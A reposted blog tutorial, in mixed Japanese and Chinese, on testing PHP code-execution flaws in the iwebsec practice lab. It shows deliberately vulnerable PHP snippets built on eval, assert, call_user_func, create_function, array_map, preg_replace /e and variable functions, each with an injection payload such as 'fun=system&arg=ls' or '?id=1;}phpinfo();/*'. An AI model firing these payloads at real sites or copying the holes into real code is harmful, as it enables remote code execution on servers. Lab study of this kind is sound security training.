Web セキュリティ: コード実行の脆弱性テスト (ハッカーによるこの脆弱性の悪用を防止します。)

Web セキュリティ: コード実行の脆弱性テスト

攻撃者は、悪意のある入力を作成することで、アプリケーションをだまして悪意のあるコードを実行させることができます。この種の脆弱性は通常、アプリケーション内の動的言語 (PHP、Python、Ruby など) で記述されたコードで見つかります。これらの言語では実行時にコードを動的に実行できるためです。攻撃者は、悪意のあるコードを入力に挿入したり、アプリケーションの脆弱性を悪用して入力検証をバイパスしたりするなど、特定の入力を構築することにより、アプリケーションをだまして悪意のあるコードを実行させることができます。


目次:

Web セキュリティ: コード実行の脆弱性テスト

コード実行の脆弱性の一般的な機能のいくつかは次のとおりです。

コード実行の脆弱性テスト:

(1) eval関数

(2)アサート機能

(3) call_user_func関数

(4) call_user_func_array 関数。

(5) create_function関数。

(6) array_map関数

(7) preg_replace関数には抜け穴がない

(8) preg_replace関数には抜け穴がある

(9) 変数関数の脆弱性。


コード実行の脆弱性の一般的な機能のいくつかは次のとおりです。

(1)eval 函数

(2)assert 函数

(3)call_user_func 函数

(4)call_user_func_array 函数

(5)create_function 函数

(6)array_map 函数

(7)preg_replace 漏洞

(8)可变 函数漏洞

测试使用的是 iwebsec 靶场.

靶场搭建:https://tianyuk.blog.csdn.net/article/details/130341391

コード実行の脆弱性テスト:

(1) eval関数

代码审计:

<?php
	if(isset($_POST[1])){            //在 post 请求中有1,那执行的参数就是1
		@eval($_POST[1]);
	}else{
		exit();
	}
?>
测试的代码.

1=phpinfo();


(2)アサート機能

代码审计:

<?php
	if(isset($_POST[1])){           //在 post 请求中有1,那执行的参数就是 1
		@assert($_POST[1]);
	}else{
		exit();
	}
?>
evel() 函数 和 assert() 函数,都是可以把字符串转化为 php 代码进行执行.
测试的代码.

1=phpinfo();


(3) call_user_func関数

代码审计:

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>
(1)call_user_func()函数 第一个参数是函数,第二个参数是调用的参数.

(2)fun= 系统执行的函数,arg= 系统执行的命令.
测试的代码.

fun=system&arg=ls                // ls 是查看这个目录的文件.


(4) call_user_func_array 関数。

代码审计:

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func_array($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>
(1)call_user_func_arra()函数 第一个参数是函数,第二个参数是调用的参数.

(2)fun= 系统执行的函数,arg= 系统执行的命令.
测试的代码.

fun=system&arg=netstat -a               // netstat -a 是查看端口的信息.


(5) create_function関数。

代码审计:

<?php
	if(isset($_GET['id'])){
		$id = $_GET['id'];
		$code = 'echo '.$func.'test'.$id.';';
		create_function('$func',$code);
	}else{
		exit();
	}
?>
create_function()函数,func 是构造函数,code 是构造代码执行.
?id=1;}phpinfo();/*                //测试的代码.(要想做别的测试,改phpinfo()就行)

测试的原理是,将函数进行闭合{echo $id;}再去执行phpinfo()函数.


(6) array_map関数

代码审计:

<?php
	if(isset($_GET['func'])||isset($_GET['argv'])){
		$func=$_GET['func'];
		$argv=$_GET['argv'];
		$array[0]=$argv;
		array_map($func,$array);
	}else{
		exit();
	}
?>
(1)array_map() 是把用户自定义函数作用到数组中的每个数值上,然后再返回给自定义函数作用后带有新值的数组.

(2)参数数目要和传递给 array_map() 函数的数组数目一致的.
测试的代码.

?func=system&argv=pwd                // pwd 查看当前文件的位置.


(7) preg_replace関数には抜け穴がない

代码审计:

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>

深入研究preg_replace与代码执行:

https://xz.aliyun.com/t/2557#toc-3


(8) preg_replace関数には抜け穴がある

代码审计:

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/e';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>
preg_replace 函数执行一个正则表达式的搜索和替换.

preg_replace 函数使用 /e 模式,导致代码执行的问题,而且该函数的第一个和第三个参数都是我们可以控制的。
​测试的代码.

?name=phpinfo()     


(9) 変数関数の脆弱性。

代码审计:

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		function func3($arg){
			echo "func3函数的参数是".$arg;
		}
		$func = $_REQUEST['func'];
		$arg = $_REQUEST['arg'];
		echo $func($arg);
	}else{
		exit();
	}
?>
PHP 支持可变函数,如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,然后尝试执行它。可变函数可以用来实现包括回调函数.
​测试的代码.

?func=system&arg=ls                // ls 是查看这个目录的文件.

     

     

      

おすすめ

転載: blog.csdn.net/weixin_54977781/article/details/130870519